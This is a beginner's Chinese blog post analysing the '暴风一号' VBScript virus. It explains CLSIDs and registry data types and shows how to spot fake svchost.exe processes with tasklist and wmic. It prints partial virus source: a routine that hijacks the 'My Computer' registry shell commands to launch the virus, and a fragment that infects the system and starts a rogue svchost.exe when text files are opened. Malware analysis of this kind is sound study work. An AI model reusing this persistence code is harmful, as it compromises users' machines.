注:“暴风一号”源代码我是在网上下载的,如果哪里说错了请大家提出来,毕竟我还是个小白。谢谢。
一.“暴风一号”之更改计算机类标识
代码部分:
Sub SetMyComputerAss(sFilePath)
On Error Resume Next
Dim Value1,Value2
Value1="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" OMC "
Value2="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" EMC "
Call WriteReg("HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\", "", "REG_SZ")
Call WriteReg("HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\open\command\", Value1, "REG_EXPAND_SZ")
Call WriteReg("HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\explore\command\", Value2, "REG_EXPAND_SZ")
End Sub
当时,我看到这段代码的时候只知道很明显对注册表进行了操作,但对于HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}我并没有理解,便学习了一下:
1.类标识符CLSID
CLSID也被称为CLASSID,就是唯一标识符,就像身份证号码一样,可以轻易的更改它跳转的位置。上面代码中{20D04FE0-3AEA-1069-A2D8-08002B30309D}就是“我的电脑”的标识符,常用的标识符有:
我的电脑 {20D04FE0-3AEA-1069-A2D8-08002B30309D}
我的文档 {450D8FBA-AD25-11D0-98A8-0800361B1103}
拨号网络 {992CFFA0-F557-101A-88EC-00DD010CCC48}
控制面板 {21EC2020-3AEA-1069-A2DD-08002B30309D}
计划任务 {D6277990-4C6A-11CF-8D87-00AA0060F5BF}
打印机 {2227A280-3AEA-1069-A2DE-08002B30309D}
记事本 {1FBA04EE-3024-11D2-8F1F-0000F87ABD16}
网络邻居 {208D2C60-3AEA-1069-A2D7-08002B30309D}
回收站 {645FF040-5081-101B-9F08-00AA002F954E}
2."REG_SZ"与"REG_EXPAND_SZ"
"REG_SZ"与"REG_EXPAND_SZ"是注册表的两种数据类型,网上也有很多介绍,其具体的说明我在这里也展示出来:
REG_BINARY = 3 ‘0~多个字节 可以包含任何数据的二进制对象
REG_COLOR_RGB = * ’4字节 颜色描述
REG_DWORD = 4 ‘4字节 DWORD值
REG_DWORD_BIG_ENDIAN = 5 ’4字节 一个DWORD值的逆序存储形式
REG_DWORD_LITTLE_ENDIAN = 4 ‘4字节 DWORD值
REG_EXPAND_SZ = 2 ’0~多个字节 包含环境变量占位符的字符串
REG_FILE_NAME = * ‘0~多个字节 文件名
REG_FILE_TIME = * ’未知 文件时间
REG_FULL_RESOURCE_DESCRIPTOR = 9 ‘未知 硬件资源列表
REG_LINK = 6 ’0~多个字节 命名一个符号链接(symbolic link)的Unicode串
REG_MULTI_SZ = 7 ‘0~多个字节 以null字符分隔的字符串集合,集合中的最后一个字符串以两个null字符结尾
REG_NONE = 0 ’未知 REG_NONE类型的对象无须分类,它与REG_UNKNOWN类型不同
REG_RESOURCE_LIST = 8 ‘未知 设备使用的资源列表
REG_RESOURCE_REQUIREMENTS_LIST = 10 ’未知 驱动程序要求的资源列表
REG_SZ = 1 ‘0~多个字节 以一个null字符线的字符串
REG_UNKNOWN = (未定义) '未知
因为数据类型索引无效而无法确定的对象类型
二.“暴风一号”之病毒加载至svchost.exe
代码部分如下(只是一小部分,源代码很多):
Case "run"
RunPath=Left(WScript.ScriptFullName, 2)
Call Run(RunPath)
Call InvadeSystem(VirusLoad,VirusAss)
Call Run("%SystemRoot%\system\svchost.exe "&VirusLoad)
Case "txt", "log","ini" ,"inf"
RunPath="%SystemRoot%\system32\NOTEPAD.EXE "&Param
Call Run(RunPath)
Call InvadeSystem(VirusLoad,VirusAss)
Call Run("%SystemRoot%\system\svchost.exe "&VirusLoad)
虽然我之前完全不了解VB方面的知识,但是我也能看出来当点击这些类型文件后一定对svchost.exe做了什么手脚,于是我运行病毒,发现电脑会异常的卡顿,打开任务管理器,便看到许许多多的svchost.exe导致电脑CPU直接到达了100%(我猜是它导致的),如下图:
好吧,其实我想谁都能看出来有问题,我也一样,于是上网上找了一下怎么确定是不是病毒引出的。
然后我使用的是“tasklist /svc”命令,因为“tasklist /svc”命令可以显示出每个进程中的服务,而且一定会显示正常svchost.exe的服务,所以我也尝试了一下如下图:
然后运行cmd.exe,输入wmic。在窗口中输入“process”就可以快速查看所有svchost.exe进程的路径,不仅如此,还可以看出哪些程序在使用这个进程。如下图所示:
的确暴风一号病毒会在下面生成smss.ex.vbs文件,这个我也在研究出得到了证实,所以说暴风一号会使用自己生成的vbs文件来加载svchost.exe。
好啦,我也只研究到这里,如果我有新的研究,我会继续写的。